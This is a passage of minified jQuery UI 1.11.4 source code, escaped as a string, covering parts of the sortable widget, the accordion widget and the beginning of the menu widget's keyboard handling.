eak;this._rearrange(t,s),this._trigger(\"change\",t,this._uiHash());break}return this._contactContainers(t),e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),this._trigger(\"sort\",t,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(t,i){if(t){if(e.ui.ddmanager&&!this.options.dropBehaviour&&e.ui.ddmanager.drop(this,t),this.options.revert){var s=this,n=this.placeholder.offset(),o=this.options.axis,a={};o&&\"x\"!==o||(a.left=n.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollLeft)),o&&\"y\"!==o||(a.top=n.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,e(this.helper).animate(a,parseInt(this.options.revert,10)||500,function(){s._clear(t)})}else this._clear(t,i);return!1}},cancel:function(){if(this.dragging){this._mouseUp({target:null}),\"original\"===this.options.helper?this.currentItem.css(this._storedCSS).removeClass(\"ui-sortable-helper\"):this.currentItem.show();for(var t=this.containers.length-1;t>=0;t--)this.containers[t]._trigger(\"deactivate\",null,this._uiHash(this)),this.containers[t].containerCache.over&&(this.containers[t]._trigger(\"out\",null,this._uiHash(this)),this.containers[t].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),\"original\"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),e.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?e(this.domPosition.prev).after(this.currentItem):e(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(t){var i=this._getItemsAsjQuery(t&&t.connected),s=[];return t=t||{},e(i).each(function(){var i=(e(t.item||this).attr(t.attribute||\"id\")||\"\").match(t.expression||/(.+)[\\-=_](.+)/);i&&s.push((t.key||i[1]+\"[]\")+\"=\"+(t.key&&t.expression?i[1]:i[2]))}),!s.length&&t.key&&s.push(t.key+\"=\"),s.join(\"&\")},toArray:function(t){var i=this._getItemsAsjQuery(t&&t.connected),s=[];return t=t||{},i.each(function(){s.push(e(t.item||this).attr(t.attribute||\"id\")||\"\")}),s},_intersectsWith:function(e){var t=this.positionAbs.left,i=t+this.helperProportions.width,s=this.positionAbs.top,n=s+this.helperProportions.height,o=e.left,a=o+e.width,r=e.top,h=r+e.height,l=this.offset.click.top,u=this.offset.click.left,c=\"x\"===this.options.axis||s+l>r&&h>s+l,d=\"y\"===this.options.axis||t+u>o&&a>t+u,p=c&&d;return\"pointer\"===this.options.tolerance||this.options.forcePointerForContainers||\"pointer\"!==this.options.tolerance&&this.helperProportions[this.floating?\"width\":\"height\"]>e[this.floating?\"width\":\"height\"]?p:t+this.helperProportions.width/2>o&&a>i-this.helperProportions.width/2&&s+this.helperProportions.height/2>r&&h>n-this.helperProportions.height/2},_intersectsWithPointer:function(e){var t=\"x\"===this.options.axis||this._isOverAxis(this.positionAbs.top+this.offset.click.top,e.top,e.height),i=\"y\"===this.options.axis||this._isOverAxis(this.positionAbs.left+this.offset.click.left,e.left,e.width),s=t&&i,n=this._getDragVerticalDirection(),o=this._getDragHorizontalDirection();return s?this.floating?o&&\"right\"===o||\"down\"===n?2:1:n&&(\"down\"===n?2:1):!1},_intersectsWithSides:function(e){var t=this._isOverAxis(this.positionAbs.top+this.offset.click.top,e.top+e.height/2,e.height),i=this._isOverAxis(this.positionAbs.left+this.offset.click.left,e.left+e.width/2,e.width),s=this._getDragVerticalDirection(),n=this._getDragHorizontalDirection();return this.floating&&n?\"right\"===n&&i||\"left\"===n&&!i:s&&(\"down\"===s&&t||\"up\"===s&&!t)},_getDragVerticalDirection:function(){var e=this.positionAbs.top-this.lastPositionAbs.top;return 0!==e&&(e>0?\"down\":\"up\")},_getDragHorizontalDirection:function(){var e=this.positionAbs.left-this.lastPositionAbs.left;return 0!==e&&(e>0?\"right\":\"left\")},refresh:function(e){return this._refreshItems(e),this._setHandleClassName(),this.refreshPositions(),this},_connectWith:function(){var e=this.options;return e.connectWith.constructor===String?[e.connectWith]:e.connectWith},_getItemsAsjQuery:function(t){function i(){r.push(this)}var s,n,o,a,r=[],h=[],l=this._connectWith();if(l&&t)for(s=l.length-1;s>=0;s--)for(o=e(l[s],this.document[0]),n=o.length-1;n>=0;n--)a=e.data(o[n],this.widgetFullName),a&&a!==this&&!a.options.disabled&&h.push([e.isFunction(a.options.items)?a.options.items.call(a.element):e(a.options.items,a.element).not(\".ui-sortable-helper\").not(\".ui-sortable-placeholder\"),a]);for(h.push([e.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):e(this.options.items,this.element).not(\".ui-sortable-helper\").not(\".ui-sortable-placeholder\"),this]),s=h.length-1;s>=0;s--)h[s][0].each(i);return e(r)},_removeCurrentsFromItems:function(){var t=this.currentItem.find(\":data(\"+this.widgetName+\"-item)\");this.items=e.grep(this.items,function(e){for(var i=0;t.length>i;i++)if(t[i]===e.item[0])return!1;return!0})},_refreshItems:function(t){this.items=[],this.containers=[this];var i,s,n,o,a,r,h,l,u=this.items,c=[[e.isFunction(this.options.items)?this.options.items.call(this.element[0],t,{item:this.currentItem}):e(this.options.items,this.element),this]],d=this._connectWith();if(d&&this.ready)for(i=d.length-1;i>=0;i--)for(n=e(d[i],this.document[0]),s=n.length-1;s>=0;s--)o=e.data(n[s],this.widgetFullName),o&&o!==this&&!o.options.disabled&&(c.push([e.isFunction(o.options.items)?o.options.items.call(o.element[0],t,{item:this.currentItem}):e(o.options.items,o.element),o]),this.containers.push(o));for(i=c.length-1;i>=0;i--)for(a=c[i][1],r=c[i][0],s=0,l=r.length;l>s;s++)h=e(r[s]),h.data(this.widgetName+\"-item\",a),u.push({item:h,instance:a,width:0,height:0,left:0,top:0})},refreshPositions:function(t){this.floating=this.items.length?\"x\"===this.options.axis||this._isFloating(this.items[0].item):!1,this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset());var i,s,n,o;for(i=this.items.length-1;i>=0;i--)s=this.items[i],s.instance!==this.currentContainer&&this.currentContainer&&s.item[0]!==this.currentItem[0]||(n=this.options.toleranceElement?e(this.options.toleranceElement,s.item):s.item,t||(s.width=n.outerWidth(),s.height=n.outerHeight()),o=n.offset(),s.left=o.left,s.top=o.top);if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(i=this.containers.length-1;i>=0;i--)o=this.containers[i].element.offset(),this.containers[i].containerCache.left=o.left,this.containers[i].containerCache.top=o.top,this.containers[i].containerCache.width=this.containers[i].element.outerWidth(),this.containers[i].containerCache.height=this.containers[i].element.outerHeight();return this},_createPlaceholder:function(t){t=t||this;var i,s=t.options;s.placeholder&&s.placeholder.constructor!==String||(i=s.placeholder,s.placeholder={element:function(){var s=t.currentItem[0].nodeName.toLowerCase(),n=e(\"<\"+s+\">\",t.document[0]).addClass(i||t.currentItem[0].className+\" ui-sortable-placeholder\").removeClass(\"ui-sortable-helper\");return\"tbody\"===s?t._createTrPlaceholder(t.currentItem.find(\"tr\").eq(0),e(\"<tr>\",t.document[0]).appendTo(n)):\"tr\"===s?t._createTrPlaceholder(t.currentItem,n):\"img\"===s&&n.attr(\"src\",t.currentItem.attr(\"src\")),i||n.css(\"visibility\",\"hidden\"),n},update:function(e,n){(!i||s.forcePlaceholderSize)&&(n.height()||n.height(t.currentItem.innerHeight()-parseInt(t.currentItem.css(\"paddingTop\")||0,10)-parseInt(t.currentItem.css(\"paddingBottom\")||0,10)),n.width()||n.width(t.currentItem.innerWidth()-parseInt(t.currentItem.css(\"paddingLeft\")||0,10)-parseInt(t.currentItem.css(\"paddingRight\")||0,10)))}}),t.placeholder=e(s.placeholder.element.call(t.element,t.currentItem)),t.currentItem.after(t.placeholder),s.placeholder.update(t,t.placeholder)},_createTrPlaceholder:function(t,i){var s=this;t.children().each(function(){e(\"<td>&#160;</td>\",s.document[0]).attr(\"colspan\",e(this).attr(\"colspan\")||1).appendTo(i)})},_contactContainers:function(t){var i,s,n,o,a,r,h,l,u,c,d=null,p=null;for(i=this.containers.length-1;i>=0;i--)if(!e.contains(this.currentItem[0],this.containers[i].element[0]))if(this._intersectsWith(this.containers[i].containerCache)){if(d&&e.contains(this.containers[i].element[0],d.element[0]))continue;d=this.containers[i],p=i}else this.containers[i].containerCache.over&&(this.containers[i]._trigger(\"out\",t,this._uiHash(this)),this.containers[i].containerCache.over=0);if(d)if(1===this.containers.length)this.containers[p].containerCache.over||(this.containers[p]._trigger(\"over\",t,this._uiHash(this)),this.containers[p].containerCache.over=1);else{for(n=1e4,o=null,u=d.floating||this._isFloating(this.currentItem),a=u?\"left\":\"top\",r=u?\"width\":\"height\",c=u?\"clientX\":\"clientY\",s=this.items.length-1;s>=0;s--)e.contains(this.containers[p].element[0],this.items[s].item[0])&&this.items[s].item[0]!==this.currentItem[0]&&(h=this.items[s].item.offset()[a],l=!1,t[c]-h>this.items[s][r]/2&&(l=!0),n>Math.abs(t[c]-h)&&(n=Math.abs(t[c]-h),o=this.items[s],this.direction=l?\"up\":\"down\"));if(!o&&!this.options.dropOnEmpty)return;if(this.currentContainer===this.containers[p])return this.currentContainer.containerCache.over||(this.containers[p]._trigger(\"over\",t,this._uiHash()),this.currentContainer.containerCache.over=1),void 0;o?this._rearrange(t,o,null,!0):this._rearrange(t,null,this.containers[p].element,!0),this._trigger(\"change\",t,this._uiHash()),this.containers[p]._trigger(\"change\",t,this._uiHash(this)),this.currentContainer=this.containers[p],this.options.placeholder.update(this.currentContainer,this.placeholder),this.containers[p]._trigger(\"over\",t,this._uiHash(this)),this.containers[p].containerCache.over=1}},_createHelper:function(t){var i=this.options,s=e.isFunction(i.helper)?e(i.helper.apply(this.element[0],[t,this.currentItem])):\"clone\"===i.helper?this.currentItem.clone():this.currentItem;return s.parents(\"body\").length||e(\"parent\"!==i.appendTo?i.appendTo:this.currentItem[0].parentNode)[0].appendChild(s[0]),s[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css(\"position\"),top:this.currentItem.css(\"top\"),left:this.currentItem.css(\"left\")}),(!s[0].style.width||i.forceHelperSize)&&s.width(this.currentItem.width()),(!s[0].style.height||i.forceHelperSize)&&s.height(this.currentItem.height()),s},_adjustOffsetFromHelper:function(t){\"string\"==typeof t&&(t=t.split(\" \")),e.isArray(t)&&(t={left:+t[0],top:+t[1]||0}),\"left\"in t&&(this.offset.click.left=t.left+this.margins.left),\"right\"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),\"top\"in t&&(this.offset.click.top=t.top+this.margins.top),\"bottom\"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var t=this.offsetParent.offset();return\"absolute\"===this.cssPosition&&this.scrollParent[0]!==this.document[0]&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),(this.offsetParent[0]===this.document[0].body||this.offsetParent[0].tagName&&\"html\"===this.offsetParent[0].tagName.toLowerCase()&&e.ui.ie)&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css(\"borderTopWidth\"),10)||0),left:t.left+(parseInt(this.offsetParent.css(\"borderLeftWidth\"),10)||0)}},_getRelativeOffset:function(){if(\"relative\"===this.cssPosition){var e=this.currentItem.position();return{top:e.top-(parseInt(this.helper.css(\"top\"),10)||0)+this.scrollParent.scrollTop(),left:e.left-(parseInt(this.helper.css(\"left\"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css(\"marginLeft\"),10)||0,top:parseInt(this.currentItem.css(\"marginTop\"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,i,s,n=this.options;\"parent\"===n.containment&&(n.containment=this.helper[0].parentNode),(\"document\"===n.containment||\"window\"===n.containment)&&(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,\"document\"===n.containment?this.document.width():this.window.width()-this.helperProportions.width-this.margins.left,(\"document\"===n.containment?this.document.width():this.window.height()||this.document[0].body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(n.containment)||(t=e(n.containment)[0],i=e(n.containment).offset(),s=\"hidden\"!==e(t).css(\"overflow\"),this.containment=[i.left+(parseInt(e(t).css(\"borderLeftWidth\"),10)||0)+(parseInt(e(t).css(\"paddingLeft\"),10)||0)-this.margins.left,i.top+(parseInt(e(t).css(\"borderTopWidth\"),10)||0)+(parseInt(e(t).css(\"paddingTop\"),10)||0)-this.margins.top,i.left+(s?Math.max(t.scrollWidth,t.offsetWidth):t.offsetWidth)-(parseInt(e(t).css(\"borderLeftWidth\"),10)||0)-(parseInt(e(t).css(\"paddingRight\"),10)||0)-this.helperProportions.width-this.margins.left,i.top+(s?Math.max(t.scrollHeight,t.offsetHeight):t.offsetHeight)-(parseInt(e(t).css(\"borderTopWidth\"),10)||0)-(parseInt(e(t).css(\"paddingBottom\"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(t,i){i||(i=this.position);var s=\"absolute\"===t?1:-1,n=\"absolute\"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,o=/(html|body)/i.test(n[0].tagName);return{top:i.top+this.offset.relative.top*s+this.offset.parent.top*s-(\"fixed\"===this.cssPosition?-this.scrollParent.scrollTop():o?0:n.scrollTop())*s,left:i.left+this.offset.relative.left*s+this.offset.parent.left*s-(\"fixed\"===this.cssPosition?-this.scrollParent.scrollLeft():o?0:n.scrollLeft())*s}},_generatePosition:function(t){var i,s,n=this.options,o=t.pageX,a=t.pageY,r=\"absolute\"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,h=/(html|body)/i.test(r[0].tagName);return\"relative\"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(t.pageX-this.offset.click.left<this.containment[0]&&(o=this.containment[0]+this.offset.click.left),t.pageY-this.offset.click.top<this.containment[1]&&(a=this.containment[1]+this.offset.click.top),t.pageX-this.offset.click.left>this.containment[2]&&(o=this.containment[2]+this.offset.click.left),t.pageY-this.offset.click.top>this.containment[3]&&(a=this.containment[3]+this.offset.click.top)),n.grid&&(i=this.originalPageY+Math.round((a-this.originalPageY)/n.grid[1])*n.grid[1],a=this.containment?i-this.offset.click.top>=this.containment[1]&&i-this.offset.click.top<=this.containment[3]?i:i-this.offset.click.top>=this.containment[1]?i-n.grid[1]:i+n.grid[1]:i,s=this.originalPageX+Math.round((o-this.originalPageX)/n.grid[0])*n.grid[0],o=this.containment?s-this.offset.click.left>=this.containment[0]&&s-this.offset.click.left<=this.containment[2]?s:s-this.offset.click.left>=this.containment[0]?s-n.grid[0]:s+n.grid[0]:s)),{top:a-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+(\"fixed\"===this.cssPosition?-this.scrollParent.scrollTop():h?0:r.scrollTop()),left:o-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+(\"fixed\"===this.cssPosition?-this.scrollParent.scrollLeft():h?0:r.scrollLeft())}},_rearrange:function(e,t,i,s){i?i[0].appendChild(this.placeholder[0]):t.item[0].parentNode.insertBefore(this.placeholder[0],\"down\"===this.direction?t.item[0]:t.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var n=this.counter;this._delay(function(){n===this.counter&&this.refreshPositions(!s)})},_clear:function(e,t){function i(e,t,i){return function(s){i._trigger(e,s,t._uiHash(t))}}this.reverting=!1;var s,n=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(s in this._storedCSS)(\"auto\"===this._storedCSS[s]||\"static\"===this._storedCSS[s])&&(this._storedCSS[s]=\"\");this.currentItem.css(this._storedCSS).removeClass(\"ui-sortable-helper\")}else this.currentItem.show();for(this.fromOutside&&!t&&n.push(function(e){this._trigger(\"receive\",e,this._uiHash(this.fromOutside))}),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(\".ui-sortable-helper\")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||t||n.push(function(e){this._trigger(\"update\",e,this._uiHash())}),this!==this.currentContainer&&(t||(n.push(function(e){this._trigger(\"remove\",e,this._uiHash())}),n.push(function(e){return function(t){e._trigger(\"receive\",t,this._uiHash(this))}}.call(this,this.currentContainer)),n.push(function(e){return function(t){e._trigger(\"update\",t,this._uiHash(this))}}.call(this,this.currentContainer)))),s=this.containers.length-1;s>=0;s--)t||n.push(i(\"deactivate\",this,this.containers[s])),this.containers[s].containerCache.over&&(n.push(i(\"out\",this,this.containers[s])),this.containers[s].containerCache.over=0);if(this.storedCursor&&(this.document.find(\"body\").css(\"cursor\",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css(\"opacity\",this._storedOpacity),this._storedZIndex&&this.helper.css(\"zIndex\",\"auto\"===this._storedZIndex?\"\":this._storedZIndex),this.dragging=!1,t||this._trigger(\"beforeStop\",e,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.cancelHelperRemoval||(this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null),!t){for(s=0;n.length>s;s++)n[s].call(this,e);this._trigger(\"stop\",e,this._uiHash())}return this.fromOutside=!1,!this.cancelHelperRemoval},_trigger:function(){e.Widget.prototype._trigger.apply(this,arguments)===!1&&this.cancel()},_uiHash:function(t){var i=t||this;return{helper:i.helper,placeholder:i.placeholder||e([]),position:i.position,originalPosition:i.originalPosition,offset:i.positionAbs,item:i.currentItem,sender:t?t.element:null}}}),e.widget(\"ui.accordion\",{version:\"1.11.4\",options:{active:0,animate:{},collapsible:!1,event:\"click\",header:\"> li > :first-child,> :not(li):even\",heightStyle:\"auto\",icons:{activeHeader:\"ui-icon-triangle-1-s\",header:\"ui-icon-triangle-1-e\"},activate:null,beforeActivate:null},hideProps:{borderTopWidth:\"hide\",borderBottomWidth:\"hide\",paddingTop:\"hide\",paddingBottom:\"hide\",height:\"hide\"},showProps:{borderTopWidth:\"show\",borderBottomWidth:\"show\",paddingTop:\"show\",paddingBottom:\"show\",height:\"show\"},_create:function(){var t=this.options;this.prevShow=this.prevHide=e(),this.element.addClass(\"ui-accordion ui-widget ui-helper-reset\").attr(\"role\",\"tablist\"),t.collapsible||t.active!==!1&&null!=t.active||(t.active=0),this._processPanels(),0>t.active&&(t.active+=this.headers.length),this._refresh()},_getCreateEventData:function(){return{header:this.active,panel:this.active.length?this.active.next():e()}},_createIcons:function(){var t=this.options.icons;t&&(e(\"<span>\").addClass(\"ui-accordion-header-icon ui-icon \"+t.header).prependTo(this.headers),this.active.children(\".ui-accordion-header-icon\").removeClass(t.header).addClass(t.activeHeader),this.headers.addClass(\"ui-accordion-icons\"))},_destroyIcons:function(){this.headers.removeClass(\"ui-accordion-icons\").children(\".ui-accordion-header-icon\").remove()},_destroy:function(){var e;this.element.removeClass(\"ui-accordion ui-widget ui-helper-reset\").removeAttr(\"role\"),this.headers.removeClass(\"ui-accordion-header ui-accordion-header-active ui-state-default ui-corner-all ui-state-active ui-state-disabled ui-corner-top\").removeAttr(\"role\").removeAttr(\"aria-expanded\").removeAttr(\"aria-selected\").removeAttr(\"aria-controls\").removeAttr(\"tabIndex\").removeUniqueId(),this._destroyIcons(),e=this.headers.next().removeClass(\"ui-helper-reset ui-widget-content ui-corner-bottom ui-accordion-content ui-accordion-content-active ui-state-disabled\").css(\"display\",\"\").removeAttr(\"role\").removeAttr(\"aria-hidden\").removeAttr(\"aria-labelledby\").removeUniqueId(),\"content\"!==this.options.heightStyle&&e.css(\"height\",\"\")},_setOption:function(e,t){return\"active\"===e?(this._activate(t),void 0):(\"event\"===e&&(this.options.event&&this._off(this.headers,this.options.event),this._setupEvents(t)),this._super(e,t),\"collapsible\"!==e||t||this.options.active!==!1||this._activate(0),\"icons\"===e&&(this._destroyIcons(),t&&this._createIcons()),\"disabled\"===e&&(this.element.toggleClass(\"ui-state-disabled\",!!t).attr(\"aria-disabled\",t),this.headers.add(this.headers.next()).toggleClass(\"ui-state-disabled\",!!t)),void 0)},_keydown:function(t){if(!t.altKey&&!t.ctrlKey){var i=e.ui.keyCode,s=this.headers.length,n=this.headers.index(t.target),o=!1;switch(t.keyCode){case i.RIGHT:case i.DOWN:o=this.headers[(n+1)%s];break;case i.LEFT:case i.UP:o=this.headers[(n-1+s)%s];break;case i.SPACE:case i.ENTER:this._eventHandler(t);break;case i.HOME:o=this.headers[0];break;case i.END:o=this.headers[s-1]}o&&(e(t.target).attr(\"tabIndex\",-1),e(o).attr(\"tabIndex\",0),o.focus(),t.preventDefault())}},_panelKeyDown:function(t){t.keyCode===e.ui.keyCode.UP&&t.ctrlKey&&e(t.currentTarget).prev().focus()},refresh:function(){var t=this.options;this._processPanels(),t.active===!1&&t.collapsible===!0||!this.headers.length?(t.active=!1,this.active=e()):t.active===!1?this._activate(0):this.active.length&&!e.contains(this.element[0],this.active[0])?this.headers.length===this.headers.find(\".ui-state-disabled\").length?(t.active=!1,this.active=e()):this._activate(Math.max(0,t.active-1)):t.active=this.headers.index(this.active),this._destroyIcons(),this._refresh()},_processPanels:function(){var e=this.headers,t=this.panels;this.headers=this.element.find(this.options.header).addClass(\"ui-accordion-header ui-state-default ui-corner-all\"),this.panels=this.headers.next().addClass(\"ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom\").filter(\":not(.ui-accordion-content-active)\").hide(),t&&(this._off(e.not(this.headers)),this._off(t.not(this.panels)))\r\n},_refresh:function(){var t,i=this.options,s=i.heightStyle,n=this.element.parent();this.active=this._findActive(i.active).addClass(\"ui-accordion-header-active ui-state-active ui-corner-top\").removeClass(\"ui-corner-all\"),this.active.next().addClass(\"ui-accordion-content-active\").show(),this.headers.attr(\"role\",\"tab\").each(function(){var t=e(this),i=t.uniqueId().attr(\"id\"),s=t.next(),n=s.uniqueId().attr(\"id\");t.attr(\"aria-controls\",n),s.attr(\"aria-labelledby\",i)}).next().attr(\"role\",\"tabpanel\"),this.headers.not(this.active).attr({\"aria-selected\":\"false\",\"aria-expanded\":\"false\",tabIndex:-1}).next().attr({\"aria-hidden\":\"true\"}).hide(),this.active.length?this.active.attr({\"aria-selected\":\"true\",\"aria-expanded\":\"true\",tabIndex:0}).next().attr({\"aria-hidden\":\"false\"}):this.headers.eq(0).attr(\"tabIndex\",0),this._createIcons(),this._setupEvents(i.event),\"fill\"===s?(t=n.height(),this.element.siblings(\":visible\").each(function(){var i=e(this),s=i.css(\"position\");\"absolute\"!==s&&\"fixed\"!==s&&(t-=i.outerHeight(!0))}),this.headers.each(function(){t-=e(this).outerHeight(!0)}),this.headers.next().each(function(){e(this).height(Math.max(0,t-e(this).innerHeight()+e(this).height()))}).css(\"overflow\",\"auto\")):\"auto\"===s&&(t=0,this.headers.next().each(function(){t=Math.max(t,e(this).css(\"height\",\"\").height())}).height(t))},_activate:function(t){var i=this._findActive(t)[0];i!==this.active[0]&&(i=i||this.active[0],this._eventHandler({target:i,currentTarget:i,preventDefault:e.noop}))},_findActive:function(t){return\"number\"==typeof t?this.headers.eq(t):e()},_setupEvents:function(t){var i={keydown:\"_keydown\"};t&&e.each(t.split(\" \"),function(e,t){i[t]=\"_eventHandler\"}),this._off(this.headers.add(this.headers.next())),this._on(this.headers,i),this._on(this.headers.next(),{keydown:\"_panelKeyDown\"}),this._hoverable(this.headers),this._focusable(this.headers)},_eventHandler:function(t){var i=this.options,s=this.active,n=e(t.currentTarget),o=n[0]===s[0],a=o&&i.collapsible,r=a?e():n.next(),h=s.next(),l={oldHeader:s,oldPanel:h,newHeader:a?e():n,newPanel:r};t.preventDefault(),o&&!i.collapsible||this._trigger(\"beforeActivate\",t,l)===!1||(i.active=a?!1:this.headers.index(n),this.active=o?e():n,this._toggle(l),s.removeClass(\"ui-accordion-header-active ui-state-active\"),i.icons&&s.children(\".ui-accordion-header-icon\").removeClass(i.icons.activeHeader).addClass(i.icons.header),o||(n.removeClass(\"ui-corner-all\").addClass(\"ui-accordion-header-active ui-state-active ui-corner-top\"),i.icons&&n.children(\".ui-accordion-header-icon\").removeClass(i.icons.header).addClass(i.icons.activeHeader),n.next().addClass(\"ui-accordion-content-active\")))},_toggle:function(t){var i=t.newPanel,s=this.prevShow.length?this.prevShow:t.oldPanel;this.prevShow.add(this.prevHide).stop(!0,!0),this.prevShow=i,this.prevHide=s,this.options.animate?this._animate(i,s,t):(s.hide(),i.show(),this._toggleComplete(t)),s.attr({\"aria-hidden\":\"true\"}),s.prev().attr({\"aria-selected\":\"false\",\"aria-expanded\":\"false\"}),i.length&&s.length?s.prev().attr({tabIndex:-1,\"aria-expanded\":\"false\"}):i.length&&this.headers.filter(function(){return 0===parseInt(e(this).attr(\"tabIndex\"),10)}).attr(\"tabIndex\",-1),i.attr(\"aria-hidden\",\"false\").prev().attr({\"aria-selected\":\"true\",\"aria-expanded\":\"true\",tabIndex:0})},_animate:function(e,t,i){var s,n,o,a=this,r=0,h=e.css(\"box-sizing\"),l=e.length&&(!t.length||e.index()<t.index()),u=this.options.animate||{},c=l&&u.down||u,d=function(){a._toggleComplete(i)};return\"number\"==typeof c&&(o=c),\"string\"==typeof c&&(n=c),n=n||c.easing||u.easing,o=o||c.duration||u.duration,t.length?e.length?(s=e.show().outerHeight(),t.animate(this.hideProps,{duration:o,easing:n,step:function(e,t){t.now=Math.round(e)}}),e.hide().animate(this.showProps,{duration:o,easing:n,complete:d,step:function(e,i){i.now=Math.round(e),\"height\"!==i.prop?\"content-box\"===h&&(r+=i.now):\"content\"!==a.options.heightStyle&&(i.now=Math.round(s-t.outerHeight()-r),r=0)}}),void 0):t.animate(this.hideProps,o,n,d):e.animate(this.showProps,o,n,d)},_toggleComplete:function(e){var t=e.oldPanel;t.removeClass(\"ui-accordion-content-active\").prev().removeClass(\"ui-corner-top\").addClass(\"ui-corner-all\"),t.length&&(t.parent()[0].className=t.parent()[0].className),this._trigger(\"activate\",null,e)}}),e.widget(\"ui.menu\",{version:\"1.11.4\",defaultElement:\"<ul>\",delay:300,options:{icons:{submenu:\"ui-icon-carat-1-e\"},items:\"> *\",menus:\"ul\",position:{my:\"left-1 top\",at:\"right top\"},role:\"menu\",blur:null,focus:null,select:null},_create:function(){this.activeMenu=this.element,this.mouseHandled=!1,this.element.uniqueId().addClass(\"ui-menu ui-widget ui-widget-content\").toggleClass(\"ui-menu-icons\",!!this.element.find(\".ui-icon\").length).attr({role:this.options.role,tabIndex:0}),this.options.disabled&&this.element.addClass(\"ui-state-disabled\").attr(\"aria-disabled\",\"true\"),this._on({\"mousedown .ui-menu-item\":function(e){e.preventDefault()},\"click .ui-menu-item\":function(t){var i=e(t.target);!this.mouseHandled&&i.not(\".ui-state-disabled\").length&&(this.select(t),t.isPropagationStopped()||(this.mouseHandled=!0),i.has(\".ui-menu\").length?this.expand(t):!this.element.is(\":focus\")&&e(this.document[0].activeElement).closest(\".ui-menu\").length&&(this.element.trigger(\"focus\",[!0]),this.active&&1===this.active.parents(\".ui-menu\").length&&clearTimeout(this.timer)))},\"mouseenter .ui-menu-item\":function(t){if(!this.previousFilter){var i=e(t.currentTarget);i.siblings(\".ui-state-active\").removeClass(\"ui-state-active\"),this.focus(t,i)}},mouseleave:\"collapseAll\",\"mouseleave .ui-menu\":\"collapseAll\",focus:function(e,t){var i=this.active||this.element.find(this.options.items).eq(0);t||this.focus(e,i)},blur:function(t){this._delay(function(){e.contains(this.element[0],this.document[0].activeElement)||this.collapseAll(t)})},keydown:\"_keydown\"}),this.refresh(),this._on(this.document,{click:function(e){this._closeOnDocumentClick(e)&&this.collapseAll(e),this.mouseHandled=!1}})},_destroy:function(){this.element.removeAttr(\"aria-activedescendant\").find(\".ui-menu\").addBack().removeClass(\"ui-menu ui-widget ui-widget-content ui-menu-icons ui-front\").removeAttr(\"role\").removeAttr(\"tabIndex\").removeAttr(\"aria-labelledby\").removeAttr(\"aria-expanded\").removeAttr(\"aria-hidden\").removeAttr(\"aria-disabled\").removeUniqueId().show(),this.element.find(\".ui-menu-item\").removeClass(\"ui-menu-item\").removeAttr(\"role\").removeAttr(\"aria-disabled\").removeUniqueId().removeClass(\"ui-state-hover\").removeAttr(\"tabIndex\").removeAttr(\"role\").removeAttr(\"aria-haspopup\").children().each(function(){var t=e(this);t.data(\"ui-menu-submenu-carat\")&&t.remove()}),this.element.find(\".ui-menu-divider\").removeClass(\"ui-menu-divider ui-widget-content\")},_keydown:function(t){var i,s,n,o,a=!0;switch(t.keyCode){case e.ui.keyCode.PAGE_UP:this.previousPage(t);break;case e.ui.keyCode.PAGE_DOWN:this.nextPage(t);break;case e.ui.keyCode.HOME:this._move(\"first\",\"first\",t);break;case e.ui.keyCode.END:this._move(\"last\",\"last\",t);break;case e.ui.keyCode.UP:this.previous(t);break;case e.ui.keyCode.DOWN:this.next(t);break;case e.ui.keyCode.LEFT:this.collapse(t);break;case e.ui.keyCode.RIGHT:this.active&&!this.active.is(\".ui-state-disabled\")&&this.expand(t);break;case e.ui.keyCode.ENTER:case e.ui.keyCode.SPACE:this._activate(t);break;case 